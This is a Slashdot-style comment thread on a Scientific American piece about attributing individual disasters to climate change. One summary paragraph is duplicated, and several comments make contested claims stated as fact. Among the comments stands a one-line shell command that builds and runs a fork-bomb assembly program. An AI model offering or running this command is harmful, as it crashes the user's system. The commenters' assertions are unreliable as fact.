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Scientists Can Now Blame Individual Natural Disasters On Climate Change (scientificamerican.com)
In 2003, the predominant view in the scientific community was that there was no way to determine the exact influence of climate change on any individual event. "There are just too many other factors affecting the weather, including all sorts of natural climate variations," reports Scientific American. But Myles Allen, a climate expert at the University of Oxford, believes scientists can blame individual natural disasters on climate change. Scientific American reports of how extreme event attribution is one of the most rapidly expanding areas of climate science: Over the last few years, dozens of studies have investigated the influence of climate change on events ranging from the Russian heat wave of 2010 to the California drought, evaluating the extent to which global warming has made them more severe or more likely to occur. The Bulletin of the American Meteorological Society now issues a special report each year assessing the impact of climate change on the previous year's extreme events. Interest in the field has grown so much that the National Academy of Sciences released an in-depth report last year evaluating the current state of the science and providing recommendations for its improvement. And as the science continues to mature, it may have ramifications for society. Legal experts suggest that attribution studies could play a major role in lawsuits brought by citizens against companies, industries or even governments. They could help reshape climate adaptation policies throughout a country or even the world. And perhaps more immediately, the young field of research could be capturing the public's attention in ways that long-term projections for the future cannot.
In 2004, Allen and Oxford colleague Daithi Stone and Peter Stott of the Met Office co-authored a report that is widely regarded as the world's first extreme event attribution study. The paper, which examined the contribution of climate change to a severe European heat wave in 2003 -- an event which may have caused tens of thousands of deaths across the continent -- concluded that "it is very likely that human influence has at least doubled the risk of a heat wave exceeding this threshold magnitude." Before this point, climate change attribution science had existed in other forms for several decades, according to Noah Diffenbaugh, a Stanford University climate scientist and attribution expert. Until 2004, much of the work had focused on investigating the relationship between human activity and long-term changes in climate elements like temperature and precipitation. More recently, scientists had been attempting to understand how these changes in long-term averages might affect weather patterns in general.
In 2004, Allen and Oxford colleague Daithi Stone and Peter Stott of the Met Office co-authored a report that is widely regarded as the world's first extreme event attribution study. The paper, which examined the contribution of climate change to a severe European heat wave in 2003 -- an event which may have caused tens of thousands of deaths across the continent -- concluded that "it is very likely that human influence has at least doubled the risk of a heat wave exceeding this threshold magnitude." Before this point, climate change attribution science had existed in other forms for several decades, according to Noah Diffenbaugh, a Stanford University climate scientist and attribution expert. Until 2004, much of the work had focused on investigating the relationship between human activity and long-term changes in climate elements like temperature and precipitation. More recently, scientists had been attempting to understand how these changes in long-term averages might affect weather patterns in general.
Yet we shouldn't blindly trust authority, either. That's particularly true in academia where more substantial results certainly are beneficial in obtaining future funding.
This doesn't mean the research is a hoax, not at all. It means that all scientific claims should be examined with skepticism. This works both ways, too. Dr. William Gray was a longtime researcher at Colorado State University, and was responsible for pioneering seasonal forecasts of Atlantic hurricane activity. Because of the seasonal hurricane forecasts, he became a very well respected scientist. He was also extremely skeptical of human activity causing climate change, and was very outspoken in this manner.
Appealing to authority is a logical fallacy. It's also not necessary to do that. We should be skeptical of claims by authority and investigate the evidence. The evidence stands on its own that human activity is very likely responsible for most of the climate change we're seeing right now.
In fact let's make it interesting - shall we?
"Myles Allen, a climate expert at the University of Oxford, believes scientists can blame individual natural disasters on climate change."
So now "believes" is a scientific term?
From TFA about halfway in:
Whenever I read the words 'climate model', I generally replace them in my head with the words 'wildly inaccurate climate model'. Scott Adams has some interesting things to say about the subject. The point is that the scientists trying to attribute a specific event to climate change can simply sift through hundreds (thousands?) of climate models until they find the one that gives the highest probability that the specific event was due to climate change. Then they hold a press conference to proclaim they know this with "near certainty".
I personally believe humans definitely do influence climate, but I think it's the wrong approach to try and convince the public using computer simulations that have no hope of being accurate.
Instead, I suggest a better approach is to point out that digging shit out of the ground and burning it into the air is not a long term solution. The planet is quite livable with all that shit underground. What makes us think that bringing it up out of the ground and burning it into the atmosphere will have no effect? Logically thinking, it's not a good idea. It will definitely cause problems, and science has demonstrated what those problems could be (acidic rain and oceans, warming temps, mercury from coal, etc.). We must find other ways to harness energy.
There was "a link" between saturated fat and heart disease for decades. It was a lie and made society quite overweight. Forgive us if we say "wait, let's not rush to judgment on the basis of supposed scientific consensus, especially when dissent exists and has sound reasons to do so."
I remember when there was general agreement that Dr Robert Atkins was a quack. Nowadays they would brand him a "fat denialist, in the pocket of the meat industry".
http://www.nytimes.com/2002/07...
"If the members of the American medical establishment were to have a collective find-yourself-standing-naked-in-Times-Square-type nightmare, this might be it. They spend 30 years ridiculing Robert Atkins, author of the phenomenally-best-selling ''Dr. Atkins' Diet Revolution'' and ''Dr. Atkins' New Diet Revolution,'' accusing the Manhattan doctor of quackery and fraud, only to discover that the unrepentant Atkins was right all along. Or maybe it's this: they find that their very own dietary recommendations -- eat less fat and more carbohydrates -- are the cause of the rampaging epidemic of obesity in America. Or, just possibly this: they find out both of the above are true."
This is not that in reverse, because the scientists are not trying to prove that the climate is warming by pointing at singular weather events, they don't need to do that because the fact that the global climate is warming has been proven a long time ago by the data and the scientific consensus on the topic is very clear.
Science doesn't prove good hypothesis like maths. It works on by falsifying bad ones. If your hypothesis is not falsifiable, it's not science.
Keeping looking for reasons your hypothesis being true is not science either - it's confirmation bias. Which of course is fine, you're free to believe whatever you want. But you're not going to convince many people to accept your preferred policies if the underlying basis of them is not scientific especially if those policies cost countless billions.
Meanwhile particle physicists have incredibly rigorous standards of falsification and only want a few million a year for new accelerators.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I recall they used to get round it by saying, "this hurricane can't be attributed to climate change but it is an example of the kinds of events which climate change is leading to more and more, and a reminder of why it is so urgent that we act..." -- which, if I am using the expression right, is begging the question.
Unfortunately the whole issue has been framed in the public mind as, "people who accept the science" vs. "nutcase idiot right wingers who ignore all common sense so they can selfishly keep their SUVs". Top marks to the PR firm which devised that strategy 30 years ago.
As naturally, most people want to be seen as belonging to the former group.
It is amazing because very few actually read any of the actual studies to try to figure out for themselves what they can really claim, rather, people feel they need to show they are not "bad". It has become a moralized identity issue.
Yet in other subjects, it makes sense to wonder, for example, is the doctor right to prescribe so many statins and are there really some nasty side effects being felt by users? But on climate change, if you stop to wonder, you are into the moral quagmire. I recall my mother questioning the doc's liberal use of antibiotics, some decades ago, and she was proven right years later, by her simple observation: if he takes this for a mild cold, what does he take for something serious? Now everyone is on about the over-prescripotion of antibiotics, yeah, even the experts are now saying this.
Climate change is not a moral issue. It is a science study.
If people want to talk about morals and ethics of say, consumerism, then they can join the 5000 year old philosophical debates on asceticism and human nature, which are rich sources of human wisdom on life.
The irony is that by making it a moral issue, we actually dumb down the real moral and ethical issues involved.